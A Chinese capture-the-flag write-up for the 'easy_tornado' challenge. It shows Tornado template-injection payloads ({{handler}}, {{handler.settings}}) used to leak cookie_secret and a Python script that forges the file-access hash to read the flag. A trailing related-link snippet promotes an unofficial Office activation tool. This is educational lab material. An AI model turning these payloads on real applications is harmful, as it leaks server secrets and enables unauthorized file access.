news 2026/7/27 4:44:12

[护网杯 2018]easy_tornado学习笔记

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[护网杯 2018]easy_tornado学习笔记
    • 正文
      • 一、代码审计,信息收集
      • 二、SSTI漏洞分析与利用
        • 1. SSTI 定义
        • 2. 使用
      • 三、Tornado泄漏 cookie_secret
      • 四、计算flag

正文

一、代码审计,信息收集

访问首页,发现三个文件链接:

<ahref='/file?filename=/flag.txt&filehash=49b3207af7a7a889737b9dce644875d8'>/flag.txt</a><ahref='/file?filename=/welcome.txt&filehash=15f3b09568a454fd93c590fb81859bb3'>/welcome.txt</a><ahref='/file?filename=/hints.txt&filehash=e480792a6a2b1b90ec09a6fb64754daf'>/hints.txt</a>


分别访问后获得关键信息:

文件内容含义
/welcome.txtrender提示使用 Tornado 的 render 模板渲染
/hints.txtmd5(cookie_secret+md5(filename))文件校验 hash 的计算公式
/flag.txtflag in /fllllllllllllag真正的 flag 文件路径

/hints.txt文件里关键发现filehash的计算公式为:

filehash = md5(cookie_secret + md5(filename))

要访问 flag 文件,必须知道cookie_secret

二、SSTI漏洞分析与利用

1. SSTI 定义

SSTI=Server-SideTemplateInjection(服务器端模板注入)

这是一种漏洞,发生在:

  • 后端使用模板引擎(如 Tornado、Jinja2、Twig、Django 等)渲染页面
  • 用户可控的数据(如 URL 参数、表单输入)直接传入模板引擎进行渲染
  • 攻击者可以构造恶意的模板表达式,被模板引擎执行
2. 使用

当我们访问/file接口并传入错误的filehash时:

curl-v"http://1668a40ffb8a47645b9cc623.http-ctf2.dasctf.com:80/file?filename=/flag.txt&filehash=wrong"2>&1|grep"Location"


服务器会返回 301 重定向 :

Location: /error?msg=Error

那我们就直接直接访问/error?msg=test123

GET /error?msg=test123

响应中test123被直接回显到 HTML 中,说明msg参数被 Tornado 模板引擎渲染——存在 SSTI 漏洞
验证 SSTI:

GET /error?msg={{handler}}


得到响应:

<body>&lt;__main__.ErrorHandler object at 0x7f23275232d0&gt;</body>

确认handler对象可访问,SSTI 有效。

三、Tornado泄漏 cookie_secret

在 Tornado 中,handler.settings存储了应用配置,包括cookie_secret。因此,直接构造Payload

GET /error?msg={{handler.settings}}

成功获取cookie_secret =1fbb6c04-fd49-4e89-8b63-79f8fea1c8a1

四、计算flag

根据 hints.txt 给出的公式计算/fllllllllllllag的 filehash:

# 导入Python内置哈希加密库,用于实现MD5加密算法importhashlib# 定义固定密钥字符串,属于题目给出的加密盐值/私密密钥cookie_secret='1fbb6c04-fd49-4e89-8b63-79f8fea1c8a1'# 定义需要加密的目标文件路径字符串,是加密原始明文filename='/fllllllllllllag'# 第一步加密流程:# 1. 将filename字符串转为bytes字节流(MD5加密只支持字节数据)# 2. 调用md5()创建md5加密对象,完成加密# 3. hexdigest()把加密结果转为32位十六进制小写字符串# 最终得到文件名单独MD5加密值,赋值给m1m1=hashlib.md5(filename.encode()).hexdigest()# 第二步加密流程:二次加盐加密# 把私密密钥cookie_secret和第一步加密结果m1拼接成新字符串# 再次整体进行MD5加密,得到最终加密哈希值filehashfilehash=hashlib.md5((cookie_secret+m1).encode()).hexdigest()# 格式化打印第一次MD5加密结果print(f'md5(filename) ={m1}')# 格式化打印二次加盐加密后的MD5加密结果print(f'filehash ={filehash}')


最终请求

GET /file?filename=/fllllllllllllag&filehash=52f5ee2cec41071eba1191f4abdc3f77

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/27 4:43:51

3分钟永久激活Microsoft 365:Ohook免费Office激活完整指南

3分钟永久激活Microsoft 365&#xff1a;Ohook免费Office激活完整指南 【免费下载链接】ohook An universal Office "activation" hook with main focus of enabling full functionality of subscription editions 项目地址: https://gitcode.com/gh_mirrors/oh/oh…

作者头像 李华
网站建设 2026/7/27 4:43:06

深入解析C55x DSP底层驱动:PLL、PWR、RTC与TIMER模块实战指南

1. 项目概述&#xff1a;从寄存器到驱动&#xff0c;掌握C55x DSP的底层脉搏如果你在嵌入式领域&#xff0c;尤其是数字信号处理&#xff08;DSP&#xff09;方向摸爬滚打过一阵子&#xff0c;一定会对“芯片支持库”&#xff08;Chip Support Library&#xff0c; CSL&#xf…

作者头像 李华
网站建设 2026/7/27 4:42:10

2026大模型应用开发:零基础转型与职业发展指南

1. 2026大模型应用开发行业现状与机遇当前大模型技术正经历从实验室研究向产业落地的关键转折期。根据行业观察&#xff0c;到2026年大模型应用开发将呈现三个显著特征&#xff1a;技术栈趋于稳定、工具链日益完善、人才需求爆发式增长。对于开发者而言&#xff0c;这意味着入行…

作者头像 李华
网站建设 2026/7/27 4:41:54

Go语言动态顺序表实现:深入内存分配器与性能优化实践

1. 项目概述&#xff1a;从静态到动态&#xff0c;Go语言数据结构的进阶之路在程序员的日常开发中&#xff0c;数据结构是构建一切复杂逻辑的基石。对于Go语言开发者而言&#xff0c;数组&#xff08;Array&#xff09;因其固定长度的特性&#xff0c;常常在需要处理未知或变化…

作者头像 李华
网站建设 2026/7/27 4:41:49

Grok 4.5大模型技术解析与OpenRouter平台实战应用指南

这次我们来看一个值得关注的技术现象&#xff1a;Grok 4.5 模型在 OpenRouter 平台上的使用量激增。作为 xAI 推出的最新一代大语言模型&#xff0c;Grok 4.5 不仅在推理能力上有所提升&#xff0c;更通过 OpenRouter 这一聚合平台降低了使用门槛&#xff0c;让更多开发者能够便…

作者头像 李华
网站建设 2026/7/27 4:41:27

AI如何革新文献综述写作:从检索到生成的智能解决方案

1. 文献综述写作的痛点与AI解决方案作为一名在学术圈摸爬滚打多年的研究者&#xff0c;我深知文献综述写作的痛苦。记得我博士第一年&#xff0c;为了完成一篇关于机器学习在医疗影像分析应用的综述&#xff0c;整整花了三个月时间&#xff1a;前两周在各大数据库疯狂搜索文献&…

作者头像 李华